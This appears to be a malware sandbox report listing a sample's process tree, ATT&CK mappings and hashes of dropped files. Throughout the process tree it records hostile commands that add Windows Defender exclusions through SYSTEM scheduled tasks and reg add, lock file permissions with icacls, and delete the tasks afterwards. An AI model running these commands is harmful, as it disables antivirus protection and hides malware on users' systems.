    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3532
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1428
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2544
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1568
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:4928
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2196
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\7BuHbw.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:868
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\7BuHbw.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\7BuHbw.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1964
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\7BuHbw.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1316
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1704
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4464
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2956
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3356
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\7BuHbw.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:636
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\7BuHbw.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3608
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1508
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3852
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3808
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4400
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2512
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4456
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1708
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1216
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3888
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:784
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4780
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3000
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1608
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5092
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1280
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2196
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5104
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1652
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1796
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5032
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2832
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:932
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7BuHbw\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7BuHbw\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:820

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mHkCXc" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2748
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mHkCXc" /t REG_DWORD /d 0 /f
  2⤵
  PID:3984

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:364

C:\Users\Public\mHkCXc\Z92CQD.exe
"C:\Users\Public\mHkCXc\Z92CQD.exe"
1⤵
PID:4032

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4528
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:3996

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1512
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:3400

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4640
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:4360

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:792
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2784

C:\Program Files (x86)\7BuHbw\7BuHbw.exe
"C:\Program Files (x86)\7BuHbw\7BuHbw.exe"
1⤵
PID:1544

C:\Program Files (x86)\1KOS2sPtC\XJei8ns.exe
"C:\Program Files (x86)\1KOS2sPtC\XJei8ns.exe"
1⤵
PID:1332

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\7BuHbw" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2252
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\7BuHbw" /t REG_DWORD /d 0 /f
  2⤵
  PID:2308

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3640
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:3976

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1360
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:3360

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2784
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2776

C:\ProgramData\cQUBSG2C.exe
C:\ProgramData\cQUBSG2C.exe
1⤵
PID:2984

C:\Program Files (x86)\1KOS2sPtC\XJei8ns.exe
"C:\Program Files (x86)\1KOS2sPtC\XJei8ns.exe"
1⤵
PID:4484

C:\Program Files (x86)\7BuHbw\7BuHbw.exe
"C:\Program Files (x86)\7BuHbw\7BuHbw.exe"
1⤵
PID:2184

C:\ProgramData\qI0YF2hW\mhApQvYr.exe
C:\ProgramData\qI0YF2hW\mhApQvYr.exe
1⤵
PID:212

C:\ProgramData\K2nlzsiW\UiAEfClH.exe
C:\ProgramData\K2nlzsiW\UiAEfClH.exe 1776
1⤵
PID:3444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\1KOS2sPtC\XPSPLOG.dll
Size 4.6MB
SHA256 a6bb69549b6a8d7912179e47bf01a2f55a5a957680b4cbb53d6d4a74b6c258b4
MD5 13ee324330f33489cc9e9793fdca2cdb
SHA1 68ae21787ee3fbbdc7d9a3b033fa56a9eaadfbdf
SHA512 2c5d23406c6ee503bafa5c707d823f3f67fd95b1cba9564572cdfffeaad0a8db385869516ce098e002b8d97368cc762950891c4bd9d71f129c5ea6ba1d95eab7
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyK:BMWKfU+BcUTHCCCfqCiUffnK
TLSH
T150263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\1KOS2sPtC\XPSPLOG.dll
Size 2.6MB
SHA256 20ee68e127351ef59eb5b948e04bd416dfabc62e1cea0f70df715a3c5213ded9
MD5 dfda351d6b6b0cc7d97deaf9bca378e8
SHA1 c96be15b8de51cd617bd56df0bdf281b7be16ec7
SHA512 e4f66855424a18a45f11d8910b0760f747bf9f37740a14dadb82e3235dffe16103121677f26f851f11a217606393cc4ab5fc30ba6877c2eedaa6352c05a67195
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOC:yCMWmcKfST5t+BceThTHfas
TLSH
T181D533DBFA9B451EE66133792F7DEC6DB6BC49C4821DE544D4A2314F0014BAE903EA8C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\1KOS2sPtC\image.png
Size 4.8MB
SHA256 47e93ea23874a355fdd36c90e819370b04c047491218d333aa0b592e447c991a
MD5 085addaf4482f6216055eb11447bcf10
SHA1 497856682b43b857ea1bc8854373aa6699e0a20c
SHA512 7eae0bb3db958763cee46954e038f72d4d0a3dca3c22619e8482037fab4f9e60f2ef33e4fe05ca296d24eb18504512e91cdc5e1ba6887a69bde1c6e89cdeef94
SSDEEP 98304:t/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:tMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1AA36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7BuHbw.exe

Path C:\Program Files (x86)\7BuHbw\7BuHbw.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\7BuHbw\XPSPLOG.dll
Size 4.6MB
SHA256 4dcc8591873cec00b3beaf9bf2bfe6a4245a3fef29f1425761db8c212edea362
MD5 5a066517b88a89f4a8eacfa3a4eee13a
SHA1 7d8ba7848a43ff2de18391d5b724cfd865ca9262
SHA512 c1dda3c52ee4acff0ccf77265acd156dd750119c6fbf8b2e06246d81396a9bf2e74a4e5cb1311b6fb18b6a6a384d59a0be10c52c820cbfc11387572513a9954f
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyo:BMWKfU+BcUTHCCCfqCiUffno
TLSH
T131263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\7BuHbw\XPSPLOG.dll
Size 2.2MB
SHA256 b0a11ad5ebc94488464c5cdec13b435d7ec37d78e511add5db5e91bcf1298ac1
MD5 1d27a8b94e6d33d62ae9a8ec2ec33b32
SHA1 3e13326a264fe25ca9596fe637f570d7247b0f45
SHA512 2d67f912d46ed37d02623d1a44a22a3b7cdbb8f6cbc4351d009724208de6afb0175220390da4cc44868a7f9a7446fdc7b3cc437687974cea999f782613043ae2
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+e:yCMWmcKfST5t+BceThTH
TLSH
T179B5338FF297421EF56133792F5DEC6D71BD48C8827DA555E8A6308B1020FAE903EA4D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\7BuHbw\image.png
Size 4.8MB
SHA256 7f0bd654346ee77da0e969af3442c95b53b902fa7429236a74799008eabca993
MD5 e5a9605609790adc76c074a0d0030f60
SHA1 7783c65feacb85c0b65a452c4f8f4c76d7eb1b1d
SHA512 f5299d5eefb0590b04416d4d840e8972a4b0c40e83ded5b64dd8977ba0ad09bbe72237a5fe9ef732300929a4a0967a4c630d60561267a4adb560bfb924d2edae
SSDEEP 98304:K/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:KMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1FF36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\7BuHbw\thumbs.db
Size 358KB
SHA256 e07acaa5b9431dc2065e8c14b83c51f64a90b1f2a414bbfa034a8ed2a82171f9
MD5 81388a79738743b02e0b9935de8d8fce
SHA1 3c2d8c729342e64b78befc4b29dcf59b7e397a39
SHA512 6ec57b7b5f257c6e2cc623fd18c5bf9745c039914553c4a7bd8a5989e957720bda71aa32c9097c4d34e395ecce1fc60df1e17b64b75df77377485eeee2d632e3
SSDEEP 6144:SiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:t8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1DC74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UiAEfClH.exe

Path C:\ProgramData\K2nlzsiW\UiAEfClH.exe
Size 251KB
SHA256 de2b803e5ca420368f66c1b14b5040453ff5f01c7f4dd440bd9d2d25b3161a9a
MD5 bae43bc5379ddd0ea2338ad0732dac41
SHA1 fb1de00e2da90aaab6710ab6c5b7cf49e61d6d54
SHA512 15f1c1a853ad9136cef0dd645cccd823249b69f85a334c0b6d8a040c11ac2f11a877463a55907d8aef42e3963e253d3b179ad93753ea66c626bbb2a6df7ae360
SSDEEP 6144:hHDFGZZDlYe3FYWdZS/ud8HCcHZUxOamnrkyuj0iV7v/nD:hHDFGZnF/eud8ic+Y3ngyujLF/nD
TLSH
T1C64423DD696DE08CD0A84EB1EC23881BB8493A4525BBF0B4CFB16DDDBB841730E75466
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cQUBSG2C.exe

Path C:\ProgramData\cQUBSG2C.exe
Size 2.5MB
SHA256 ccbfee08cf7c3f46b953ba35541b8dad64bb15ab909e4daedef71fe6da2af7b9
MD5 72c298459e31beecc8fdeed186a2a7ff
SHA1 804c84408d70a204c6b535e340b9251abec8664a
SHA512 e1756a744b9b46da53847c53e62dcdf46ecef71dd72a0cdb0161abeb864ae4cd0e097b8f85c7e1f08ed1256ffdd4a7398da87ea9e3713877b794376c4f15bdcf
SSDEEP 49152:sSX2vsEpkYfjcXP+D+3TGcGvntClmwvoj+4mWthy21RL7iEJBi:Pm0+0PjTVGvEvvojLSSviYBi
TLSH
T16EC523126DDA81E5D5820B30D71FA7C732F09594CAB08C34EFC179887472F67A27ADA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mhApQvYr.dat

Path C:\ProgramData\qI0YF2hW\mhApQvYr.dat
Size 56KB
SHA256 34e299b68b4a944da7bbbad69e1b49078de53d736380354fb4be0c75e6b31ff3
MD5 2c1bf2059ed6d840058763188a73bdf8
SHA1 4e15cbe8e5ead92d20209ceec1be6fb17cd8ebf9
SHA512 4a2e8f3816e4f63cf819e986376aced53d04434ac97446b513e7773d7c5a83c97a0aec5301f84e53da8a285a0d95226b29ac1778e6c92ad9611c5f666a8ec128
SSDEEP 1536:LA5UOqaSzVJk7yHWGLvQL2NjQhzehEZSVsKJYf:LsUL1PSkbvG2pkze2GYf
TLSH
T17C43020AD5F17B2ACA061776CD5CA50150EF4AFD88235CB38590F2764EE308F9D1B619
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mhApQvYr.exe

Path C:\ProgramData\qI0YF2hW\mhApQvYr.exe
Size 475KB
SHA256 070374c3639c556605c2e0bd589b07ada21b76a56389f9cf9e38375758b50ee7
MD5 cb6dcc2a4dc0bf83b6ff1498e9dde2c7
SHA1 6c41c99bb1dc6ef57626d451878ce4a6c9743c0f
SHA512 d2dc1b5b5552510e1281fda5f500393a373f013118ef4eab87124a3c3939f9ac5e07364fc8c67a95e92409c1bec4c3080388c42ae15e561a83918aff5c3f2c64
SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/C:gthTiP+ffCfB5Lf0F7Z1EDsVC
TLSH
T1F8A42322B76BD826EB0E083542A5DF7D497ABD02F889834301B97F5F7D363905D1DA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mhApQvYr.png

Path C:\ProgramData\qI0YF2hW\mhApQvYr.png
Size 167KB
SHA256 3cdc1391289a0f2384a5df2ad09574e867a066aff76f0ce16299086aa04a1ab3
MD5 5b068cd81a7aada3dca0af328ec5e91e
SHA1 e46128848652cbdf7d2f1ea1ef20ec84eb19cf50
SHA512 aacde5c0a3e125c87a596a1ccc2f0e1fa0f0197bd45472cee6cc36816d9b01444324570f26a3eb3c6106998d2f957d43b6c668f32145cb211e37c10345ca2bdf
SSDEEP 3072:pxvH+eTJ02Y6X2jdKEKRoHUMaDQptDljwIjDdj7YoILts74x0BI+1pB:7H+KKo4dNK2d2kdXYon74mBV1X
TLSH
T1ABF3120CD00236B72EE84895B2AB3D5494DCC4A51E22974E790B3B9F5C933E949A7F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 96d12cec4e2e54dec4b272194684cbffd67fee7dd8a315f314a4175f3deed08a
MD5 056d8c5a149822eccc012a2a9a900a11
SHA1 c0da2d2a0c36a6b2c80ccf96caad116fd9fe1e57
SHA512 9bc4b7e7049fde1340bf2c471cf54bbf4393971daa245982f694e2b2d9492e20207052d4c6024823e5aaeff2af1e5186941e1fe9e9ad2690765a89fec95ccad7
TLSH
T13321E9CB5EB63550FF44AE5313C4CE3F6FB2378558AC440B6235D48126103A97A62A2E
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 c02cc0e363eac9eff8cebbda2de7c12b8f5efc5fb1a60e246412c859e5aa9217
MD5 eb57eb221d48de923d4258516f9f26dc
SHA1 edf9189cb677cf173c6f7fd0578fc936fa8b2703
SHA512 9cf7d36fe16e48976f6d85722545d77da521353be83eebdc0a3b59a37abcdd8c2d3d818ac6bee5701563c66be9b17744e2bd4ffc893e5f3669ab65ec5a0e43c5
TLSH
T19521B68797BA2832E382AD4A10C46D332CF5B3E5E0C9041AB00BC3A525153F6AB4F61A
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 1KB
SHA256 9ae296f95ae42d62735423daf0aeaf5b08408f7a7d65ce69d3188197f7573b46
MD5 76302c35b3f2fc06adad0b88c59a4d41
SHA1 7eb1b8da76ef2dc02e9fa170d2423771108933f7
SHA512 90c0a148d57c5dde5d4f5dfbaab9a35fa915c60b4fe463850235c165ae4b93f22940bc7088a4794b408dc377fa9d2cd7449b6f13d46ca217e1f602b5716f3a1a
TLSH
